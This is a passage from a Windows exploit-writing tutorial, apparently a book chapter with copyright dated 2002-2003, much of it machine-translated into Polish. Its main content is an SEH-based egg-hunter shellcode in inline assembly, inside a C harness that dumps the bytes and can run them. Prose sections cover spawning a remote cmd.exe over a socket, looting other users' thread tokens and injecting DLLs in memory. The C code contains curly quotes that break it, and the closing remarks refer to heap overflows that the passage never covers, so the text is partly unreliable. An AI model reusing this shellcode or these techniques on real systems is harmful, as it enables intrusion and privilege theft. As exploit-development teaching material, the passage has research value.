* Copyright Immunity, Inc. 2002-2003
*
Works under SE handling.
Put location of structure in fs:0
Put structure on stack
when called you can pop 4 arguments from the stack
_except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext );
typedef struct _CONTEXT
{
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
```

```
DWORD Esi;

DWORD Ebx;

DWORD Edx;

DWORD Ecx;

DWORD Eax;

DWORD Ebp;

DWORD Eip;

DWORD SegCs;

DWORD EFlags;

DWORD Esp;

DWORD SegSs;

} CONTEXT;
```

Zwróć 0, aby kontynuować wykonywanie w miejscu, w którym wystąpił wyjątek. Należy również zauważyć, że struktura obsługi wyjątków (-1, adres) musi znajdować się na stosie bieżącego wątku. Jeśli zmieniłeś ESP, będziesz musiał naprawić stos bieżącego wątku w bloku informacji o wątku, aby to odzwierciedlić. Dodatkowo musisz również uporać się z niektórymi nieprzyjemnymi problemami z wyrównaniem. Te czynniki łączą się, aby ten shellcode był większy niż byśmy chcieli. Lepszą strategią jest ustawienie blokady PEB na RtlEnterCriticleSection w następujący sposób:

```
k=0x7ffdf020;

*(int *)k=RtlEnterCriticalSectionadd;

* */

#define DOPRINT

//#define DORUN

void

shellcode()

{

/*GLOBAL DEFINES*/

asm(“

.set KERNEL32HASH, 0x000d4e88

“);

/*START OF SHELLCODE*/

asm(“

mainentrypoint:
```

```
//time to fill our function pointer table
sub $0x50,%esp
call geteip
geteip:
pop %ebx
//ebx now has our base!
//remove any chance of esp being below us, and thereby
//having WSASocket or other functions use us as their stack
//which sucks
movl %ebx,%esp
subl $0x1000,%esp
//esp must be aligned for win32 functions to not crash
and $0xffffff00,%esp
takeexceptionhandler:
//this code gets control of the exception handler
//load the address of our exception registration block into fs:0
lea exceptionhandler-geteip(%ebx),%eax
//push the address of our exception handler
push %eax
//we are the last handler, so we push -1
push $-1
//move it all into place...
mov %esp,%fs:(0)
//Now we have to adjust our thread information block to reflect we may
be anywhere in memory
//As of Windows XP SP1, you cannot have your exception handler itself on
//the stack - but most versions of windows check to make sure your
//exception block is on the stack.
addl $0xc, %esp
movl %esp,%fs:(4)
subl $0xc,%esp
```

```
//now we fix the bottom of thread stack to be right after our SEH block
movl %esp,%fs:(8)
“);
//search loop
asm(“
startloop:
xor %esi,%esi
mov TAG1-geteip(%ebx),%edx
mov TAG2-geteip(%ebx),%ecx
memcmp:
//may fault and call our exception handler
mov (%esi),%eax
cmp %eax,%ecx
jne addaddr
mov 4(%esi),%eax
cmp %eax,%edx
jne addaddr
jmp foundtags
addaddr:
inc %esi
jmp memcmp
foundtags:
lea 8(%esi),%eax
xor %esi,%esi
//clear the exception handler so we don’t worry about that on exit
mov %esi,%fs:(0)
call *%eax
“);
asm(“
//handles the exceptions as we walk through memory
exceptionhandler:
```

```
//int $3
mov 0xc(%esp),%eax
//get saved ESI from exception frame into %eax
add $0xa0,%eax
mov (%eax),%edi
//add 0x1000 to saved ESI and store it back
add $0x1000,%edi
mov %edi,(%eax)
xor %eax,%eax
ret
“);
asm(“
endsploit:
//these tags mark the start of our real shellcode
TAGS:
TAG1:
.long 0x41424344
TAG2:
.long 0x45464748
CURRENTPLACE:
//where we are currently looking
.long 0x00000000
“);
}
int
main()
{
unsigned char buffer[4000];
unsigned char * p;
int i;
unsigned char stage2[500];
```

```
//setup stage2 for testing
strcpy(stage2,”HGFE”);
strcat(stage2,”DCBA\xcc\xcc\xcc”);
//getprocaddr();
memcpy(buffer,shellcode,2400);
p=buffer;
#ifdef WIN32
p+=3; /*skip prelude of function*/
#endif
#ifdef DOPRINT
#define SIZE 127
printf(“#Size in bytes: %d\n”,SIZE);
/*gdb ) printf “%d\n”, endsploit - mainentrypoint -1 */
printf(“searchshellcode+=\“”);
for (i=0; i<SIZE; i++)
{
printf(“\\x%2.2x”,*p);
if ((i+1)%8==0)
printf(“\“\nsearchshellcode+=\“”);
p++;
}
printf(“\“\n”);
#endif
#ifdef DORUN
((void(*)())(p)) ();
#endif
}
```

Popping Shell

Istnieją dwa sposoby uzyskania powłoki z gniazda w systemie Windows. W Uniksie użyjesz dup2() do powielenia uchwytów plików dla standardowego wejścia i standardowego wyjścia, a następnie execve("/bin/sh"). W Windows życie się komplikuje. Możesz użyć swojego gniazda jako danych

wejściowych dla CreateProcess(„cmd.exe”), jeśli używasz WSASocket() do jego utworzenia zamiast socket(). Jeśli jednak ukradłeś gniazdo z procesu

lub nie użyłeś WSASocket() do utworzenia gniazda, musisz wykonać złożone manewry z anonimowymi potokami, aby przetasować dane tam iz powrotem. Możesz ulec pokusie użycia popen(), z wyjątkiem tego, że tak naprawdę nie działa w Win32 i będziesz zmuszony do ponownego zaimplementowania. Zapamiętaj kilka kluczowych faktów:

1. CreateProcessA musi być wywoływany z dziedziczeniem ustawionym na 1. W przeciwnym razie, gdy przekażesz swoje potoki do cmd.exe jako standardowe wejście i standardowe wyjście, nie będą one odczytywane przez utworzony proces.

2. Musisz zamknąć zapisywalny standardowy potok wyjściowy w procesie nadrzędnym lub bloki potoku przy każdym odczycie. Robisz to po wywołaniu CreateProcessA, ale przed wywołaniem ReadFile w celu odczytania wyników.

3. Nie zapomnij użyć DuplicateHandle() do tworzenia niedziedzicznych kopii uchwytów potoku do zapisywania na standardowe wejście i czytania ze standardowego wyjścia. Musisz zamknąć uchwyty dziedziczne, aby nie zostały odziedziczone w cmd.exe.

4. Jeśli chcesz znaleźć cmd.exe, użyj GetEnvironmentVariable(„COMSPEC”).

5. Będziesz chciał ustawić SW_HIDE w CreateProcessA, aby małe okienka nie pojawiały się za każdym razem, gdy uruchamiasz polecenie. Musisz także ustawić flagi STARTF_USESTDHANDLES i STARTF_USESSHOWWINDOW.

Mając to na uwadze, łatwo będzie Ci napisać własny popen() – taki, który faktycznie działa.

**Dlaczego nigdy nie powinieneś otwierać powłoki w systemie Windows**

Dziedziczenie Windows jest jedyną koncepcją, do której koder uniksowy ma problem z przyzwyczajeniem się. W rzeczywistości większość programistów Windows nie ma pojęcia, jak działa dziedziczenie Windows, w tym w samym Microsoft. Dziedziczenie i tokeny dostępu do systemu Windows mogą na wiele sposobów utrudnić życie programistom exploitów. Gdy jesteś w cmd.exe, zrezygnowałeś z możliwości skutecznego przesyłania plików, co może ułatwić niestandardowy kod powłoki. Ponadto zrezygnowałeś z dostępu do całego interfejsu Win32 API, który oferuje znacznie więcej funkcji niż domyślna powłoka Win32. Zrezygnowałeś również z tokena obecnego wątku i zastąpiłeś go podstawowym tokenem procesu. W niektórych przypadkach tokenem podstawowym będzie LOCAL/SYSTEM; w innych przypadkach IWAM lub IUSR lub inny nisko uprzywilejowany użytkownik. To dziwactwo może cię utrudnić, zwłaszcza gdy używasz kodu powłoki do przesłania pliku do zdalnego hosta, a następnie jego wykonania. Zdasz sobie sprawę, że utworzony proces może nie mieć możliwości odczytywania własnego pliku wykonywalnego - może działać jako zupełnie inny użytkownik niż oczekiwałeś. Pozostań więc w swoim pierwotnym procesie i napisz serwer, który umożliwi ci dostęp do wszystkich wywołań API, których będziesz potrzebować. W ten sposób możesz na przykład plądrować tokeny wątków innych użytkowników oraz zapisywać i odczytywać pliki jako ci użytkownicy. A kto wie, jakie inne zasoby mogą być dostępne dla bieżącego procesu, które są oznaczone jako niedziedziczne? Jeśli kiedykolwiek będziesz chciał odrodzić proces jako użytkownik, którego podszywasz, będziesz musiał stawić czoła CreateProcessAsUser() i użyć uprawnień Windows, tokenów podstawowych i innych głupich sztuczek Win32. Użyj narzędzi w Sysinternals (http://www.microsoft.com/technet/sysinternals/), zwłaszcza Process Explorer, aby przeanalizować problemy z tokenami. Specyfika tokenów jest niezmiennie odpowiedzią na pytanie: „Dlaczego mój shellcode Windows nie działa tak, jak się spodziewałem?”

**Wniosek**

W tej części omówiliśmy, jak wykonać podstawowe, pośrednie i zaawansowane przepełnienia sterty. Przepełnienia sterty są znacznie trudniejsze niż przepełnienia stosu i wymagają szczegółowej znajomości elementów wewnętrznych systemu, aby prawidłowo je zaaranżować. Nie denerwuj się, jeśli nie uda ci się za pierwszym razem: hakowanie to proces oparty na próbach i błędach. Jeśli jesteś zainteresowany postępem w sztuce shellcodowania systemu Windows, zalecamy przesłanie biblioteki DLL przez przewód i połączenie jej z uruchomionym procesem (oczywiście bez zapisywania go na dysku) lub dynamicznie tworzyć shellcode i wstrzykiwać go do działającego procesu, łącząc go z niezbędnymi wskaźnikami funkcji.